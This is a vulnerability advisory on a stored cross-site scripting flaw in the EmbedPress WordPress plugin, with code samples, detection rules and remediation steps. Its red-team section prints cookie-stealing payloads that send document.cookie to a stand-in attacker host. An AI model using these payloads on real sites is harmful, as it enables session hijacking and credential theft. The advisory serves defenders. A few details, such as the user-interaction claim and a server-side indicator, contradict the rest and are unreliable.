CVE-2024-4316

Executive Summary

CVE-2024-4316 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin, affecting all versions up to and including 3.9.16. The flaw resides in the id parameter of the plugin’s shortcode or block, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the maliciously crafted embed, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create and publish content. The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the impact is amplified by the stored nature of the payload and the trust users place in published content.

Supply Chain & Package Security

This vulnerability affects the EmbedPress WordPress plugin, which is distributed via the official WordPress Plugin Directory. As a third-party plugin, it introduces a supply chain risk: site administrators must trust the plugin developer to maintain secure code. Since the patch status is UNKNOWN, users are advised to monitor the plugin’s changelog and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the prevalence of WordPress sites make this a significant threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the id parameter of the EmbedPress shortcode (e.g., [embedpress id="..."]). The plugin fails to properly sanitize and escape user-supplied input before rendering it in the HTML output. An authenticated attacker with contributor-level access can craft a post or page containing a malicious shortcode like:

[embedpress id="<script>alert('XSS')</script>"]

When the page is rendered, the id value is output without proper escaping, causing the browser to execute the injected script. The attack is stored in the database, meaning every visitor to that page will be affected.

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The root cause is the lack of esc_attr() or wp_kses() filtering on the id parameter before it is echoed into the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.9.16):

// In embedpress.php or similar
function embedpress_shortcode($atts) {
    $id = $atts['id'];
    // No sanitization or escaping
    return '<div class="embedpress-wrapper" data-id="' . $id . '">...</div>';
}

Patched Code (hypothetical fix):

function embedpress_shortcode($atts) {
    $id = isset($atts['id']) ? esc_attr($atts['id']) : '';
    return '<div class="embedpress-wrapper" data-id="' . $id . '">...</div>';
}

The patched version uses esc_attr() to escape the id value, preventing script injection. Additionally, input validation (e.g., checking for allowed characters) should be implemented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with EmbedPress plugin version <= 3.9.16.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [embedpress id="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. When an administrator or any user visits the post, the script executes, sending their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

[embedpress id="<img src=x onerror=document.location='https://attacker.com/steal?cookie='+document.cookie>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress logs for posts containing suspicious shortcode patterns (e.g., <script> in [embedpress id=...]).
• Use WAF rules to block requests with XSS payloads in the id parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the EmbedPress plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/embedpress/embedpress.php (or similar core file)
• Database: Posts/pages containing shortcode with <script> tags in the id parameter.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing [embedpress id="<script>..."] patterns.

Detection Engineering

YARA Rule

rule CVE_2024_4316_EmbedPress_XSS {
    meta:
        description = "Detects malicious shortcode patterns in EmbedPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4316"
    strings:
        $shortcode = /\[embedpress\s+id\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>["']/
        $xss_payload = /<script[^>]*>.*?<\/script>/
    condition:
        $shortcode or ($xss_payload and #shortcode > 0)
}

Sigma Rule

title: CVE-2024-4316 - Stored XSS via EmbedPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the EmbedPress plugin id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "embedpress"
        http.url|contains: "id="
        http.url|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4316 - EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"embedpress"; http_uri; content:"id="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EmbedPress plugin until a patched version is released.
2. Review all posts and pages created by contributors for malicious shortcodes.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Mitigations:

• Apply the patch once the vendor releases an update (monitor the plugin’s changelog).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce the principle of least privilege – limit contributor roles to trusted users.
• Use a security plugin (e.g., Wordfence, Sucuri) to monitor for suspicious activity.
• Regularly audit plugins for known vulnerabilities using tools like WPScan.

Workaround (if plugin cannot be disabled):

• Modify the plugin’s code to add esc_attr() to the id parameter (see patched code example above). Note: This will be overwritten on plugin updates.

Valters IT